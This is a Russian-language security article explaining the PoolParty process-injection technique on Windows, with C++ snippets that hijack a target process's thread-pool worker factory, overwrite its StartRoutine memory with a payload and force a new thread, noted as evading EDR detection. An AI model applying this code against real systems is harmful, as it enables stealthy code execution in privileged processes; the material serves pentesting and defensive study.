Вечеринка у бассейна
Применяем технику PoolParty для инъекции в процессы
Инжекты — это техника внедрения своего кода в сторонние процессы с целью получения контроля или выполнения нужных действий. Поскольку такое может провернуть не только пентестер, но и злоумышленник, понимание этих техник позволяет эффективно предотвращать атаки и укреплять защищенность.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Windows Thread Pools
Механизм Windows Thread Pools призван значительно упростить программистам управление потоками. Под капотом решаются задачи асинхронного взаимодействия и управления производительностью при помощи переиспользования существующих потоков — это сокращает затраты ресурсов на их создание и уничтожение. Заодно решены проблемы с очередями потоков и еще вагоном мелких тонкостей, которые бы свели с ума программиста, если бы тот пытался реализовать все это самостоятельно.
Код, управляющий пулами потоков, преимущественно располагается в режиме пользователя (ntdll.
), и только небольшая его часть находится в ядре — поэтому не приходится тратить ресурсы на частое переключение контекстов между ядром и юзерспейсом.
Вот основные узлы Windows Thread Pools:
- рабочая фабрика (Worker Factory), которая управляет созданием и удалением новых потоков;
- рабочие очереди:
- очередь задач (task queue) — задачи, которые передаются в пул. Эти задачи могут быть как быстрыми (выполняться в течение короткого времени), так и более длительными. Пул потоков автоматически масштабируется — если задач много, пул может создать дополнительные потоки, чтобы справиться с нагрузкой;
- очередь ввода‑вывода (I/O completion queue) выполняет задачи, связанные с операциями ввода‑вывода, такие как файловые операции или сетевые запросы;
- очередь таймера (timer queue) позволяет выполнять задачи через определенные промежутки времени или в заданное время.
Именно эти части механизма Thread Pools наиболее интересны с точки зрения эксплуатации техники PoolParty.
Надо сказать, что все процессы, работающие в Windows, используют Thread Pools по умолчанию. Давай попробуем в этом убедиться экспериментально — запустим Process Explorer, выберем любой процесс и перейдем на вкладку Handles.

Как видишь, процесс svchost.
использует Worker Factory, а значит, механизм Thread Pools активен.
Для демонстрации техники PoolParty мы попробуем атаковать рабочие фабрики. А для этого нужно понять, как они создаются.
NTSTATUS NTAPI NtCreateWorkerFactory(_Out_ PHANDLE WorkerFactoryHandleReturn,_In_ ACCESS_MASK DesiredAccess,_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,_In_ HANDLE CompletionPortHandle,_In_ HANDLE WorkerProcessHandle,_In_ PVOID StartRoutine,_In_opt_ PVOID StartParameter,_In_opt_ ULONG MaxThreadCount,_In_opt_ SIZE_T StackReserve,_In_opt_ SIZE_T StackCommit);
NtCreateWorkerFactory
— функция NTAPI, которая создает рабочую фабрику Thread Pools. Обрати внимание на интересные аргументы — WorkerProcessHandle
и StartRoutine
.
StartRoutine
— это указатель на код, который будет выполнен фабрикой при запуске нового потока, а WorkerProcessHandle
— дескриптор процесса, в контексте которого будут выполняться рабочие потоки. Это может быть дескриптор текущего процесса или другого для распределенной обработки. А что, если попробовать модифицировать код StartRoutine
, чтобы он выполнял наш пейлоад, таким образом заставляя фабрику работать на нас?
Но до непосредственной модификации StartRoutine
нужна небольшая подготовка.
Захват целевого дескриптора
Взаимодействие с элементами Thread Pools реализуется через дескрипторы. Соответственно, для получения доступа к рабочей фабрике целевого процесса нужно сначала найти ее хендл и захватить его, используя функцию WinAPI DuplicateHandle
.
Дескрипторы Thread Pools имеют несколько типов: если нужен доступ к рабочей фабрике, то понадобится дескриптор с типом объекта TpWorkerFactory
, если к очереди таймера, то IRTimer
, а если нужно обратиться к очереди ввода‑вывода, то дескриптор с типом IoCompletion
. Мы атакуем рабочую фабрику, соответственно, ищем тип дескриптора TpWorkerFactory
.
В процессе будут использоваться функции NTAPI NtQueryInformationProcess
и NtQueryObject
, их адреса нужно будет получить динамически из ntdll.
. Адреса других функций NTAPI, упоминаемых в статье, будут получаться аналогично.
typedef NTSTATUS(NTAPI* proto_NtQueryInformationProcess)( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASS ProcessInformationClass, _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength );typedef NTSTATUS(NTAPI* proto_NtQueryObject)( _In_opt_ HANDLE Handle, _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength);...proto_NtQueryInformationProcess ptr_NtQueryInformationProcess = nullptr;proto_NtQueryObject ptr_NtQueryObject = nullptr;ptr_NtQueryInformationProcess = reinterpret_cast<proto_NtQueryInformationProcess>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess"));prt_NtQueryObject = reinterpret_cast<proto_NtQueryObject>(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject"));
Далее при помощи функции GetProcessHandleCount получаем список всех открытых дескрипторов для целевого процесса и выделяем память для структур PROCESS_HANDLE_SNAPSHOT_INFORMATION
и PROCESS_HANDLE_TABLE_ENTRY_INFO
. Памяти нужно с запасом — на случай, если количество дескрипторов изменится с момента их получения.
GetProcessHandleCount(targetProcess, (PDWORD)&handles);szTypeInfo = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((handles + 5) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));processes = static_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, szTypeInfo));
Заполняем ранее выделенную память информацией о дескрипторах процесса при помощи вызова NtQueryInformationProcess
с аргументом ProcessHandleInformation
.
ptr_NtQueryInformationProcess( targetProcess, // ProcessHandleInformation (PROCESSINFOCLASS)51, // PPROCESS_HANDLE_SNAPSHOT_INFORMATION processes, szTypeInfo, NULL);
Далее необходимо захватить все дескрипторы процесса, находящиеся в processes->
. Для этого для каждого дескриптора вызываем DuplicateHandle
, при помощи NtQueryObject
получаем по нему информацию в структуре PUBLIC_OBJECT_TYPE_INFORMATION
и отсеиваем нужные нам дескрипторы — с типом TpWorkerFactory
.
DuplicateHandle(targetProcess, processes->Handles[i].HandleValue, GetCurrentProcess(), &gotchedHandle, accessFlags, FALSE, NULL)prt_NtQueryObject(gotchedHandle, ObjectTypeInformation, // Вызываем NtQueryObject с NULL, чтобы получить данные о размере необходимой памяти NULL, NULL, (PULONG)&objTypeLen);objTypeInfo = static_cast<PPUBLIC_OBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeLen));prt_NtQueryObject(gotchedHandle, ObjectTypeInformation, objTypeInfo, objTypeLen, NULL);if (wcsncmp(L"TpWorkerFactory", objTypeInfo->TypeName.Buffer, wcslen(L"TpWorkerFactory")) == 0) { // Нашли!}HeapFree(GetProcessHeap(), 0, objTypeInfo);
Нужные дескрипторы получены, переходим к самому интересному — перехвату управления при помощи модификации кода StartRoutine
.
Модифицируем StartRoutine
Саму StartRoutine
после создания фабрики изменить нельзя (она, разумеется, уже создана в стороннем процессе), а вот код, на который она указывает, — можно! Для продолжения атаки нам потребуются следующие NTAPI:
-
NtQueryInformationWorkerFactory
— получение информации о фабрике; -
NtSetInformationWorkerFactory
— изменение информации о фабрике.
Рассмотрим их прототипы:
NtQueryInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength, _Out_opt_ PULONG ReturnLength);NtSetInformationWorkerFactory( _In_ HANDLE WorkerFactoryHandle, _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, _In_ ULONG WorkerFactoryInformationLength);
Сначала получим информацию о нашей фабрике (точнее, о StartRoutine
, о которой мы говорили ранее) при помощи вызова NtQueryInformationWorkerFactory
с аргументом WorkerFactoryBasicInformation
. Также нам понадобится заполнить структуру WORKER_FACTORY_BASIC_INFORMATION
.
ptr_NtQueryInformationWorkerFactory( gotchedHandle, WorkerFactoryBasicInformation, // factoryInf — это структура типа &factoryInf, WORKER_FACTORY_BASIC_INFORMATION sizeof(WORKER_FACTORY_BASIC_INFORMATION), nullptr);
Дальше самое интересное — непосредственная модификация StartRoutine
:
- изменяем права доступа к памяти, содержащей
StartRoutine
, с помощьюVirtualProtectEx
— чтобы иметь возможность записать наш пейлоад в эту область; - пишем пейлоад в память с помощью
WriteProcessMemory
, после чего восстанавливаем права доступа к этой памяти повторным вызовомVirtualProtectEx
.
VirtualProtectEx( targetProcess, factoryInf.StartRoutine, szPayload, PAGE_READWRITE, (PDWORD)&oldProtect);WriteProcessMemory( targetProcess, // Адрес, по которому пишем factoryInf.StartRoutine, // Пейлоад addrPayload, // Размер пейлоада szPayload, nullptr);VirtualProtectEx( targetProcess, factoryInf.StartRoutine, szPayload, oldProtect, (PDWORD)&oldProtect );
После того как наша фабрика будет «заряжена», починим минимальное количество потоков в пуле, ведь мы создаем один лишний поток — свой! Для этого воспользуемся функцией NtSetInformationWorkerFactory
.
// Увеличили минимум потоков на 1threadsCount = factoryInf.TotalWorkerCount + 1;ptr_NtSetInformationWorkerFactory( gotchedHandle, WorkerFactoryThreadMinimum, &threadsCount, sizeof(uint32_t));
Увеличение минимального числа потоков в пуле — это способ гарантировать выполнение нашего пейлоада. Изменив код в фабрике StartRoutine
, необходимо создать новый поток, который выполнит этот код. Увеличение параметра WorkerFactoryThreadMinimum
делает это возможным.
Обрати внимание: мы сейчас разобрали ключевой шаг в активации атаки, поскольку без этого наш пейлоад не будет выполнен (ну или нам придется долго ждать без каких‑либо гарантий).
В итоге для того, чтобы запустить пейлоад, не понадобилось вызывать стандартные функции создания потоков и процессов. Именно это мешает антивирусным средствам обнаруживать атаку: такой подход ломает стандартный паттерн поведения, который ожидает увидеть EDR.
Выводы
Пентестеры могут использовать описанную технику для скрытого внедрения кода в высокопривилегированные процессы. С точки зрения защиты рост популярности PoolParty — это сигнал улучшать мониторинг системных вызовов и совершенствовать контроль прав доступа к системным объектам. И конечно же, всегда нужно следить за своевременным обновлением систем безопасности.
В заключение отмечу, что мы здесь рассмотрели лишь один вариант техники PoolParty — атаки на рабочие фабрики. При желании можно атаковать все три очереди, с которыми работает механизм Windows Thread Pools, но это, как показывает практика, чуть менее эффективно.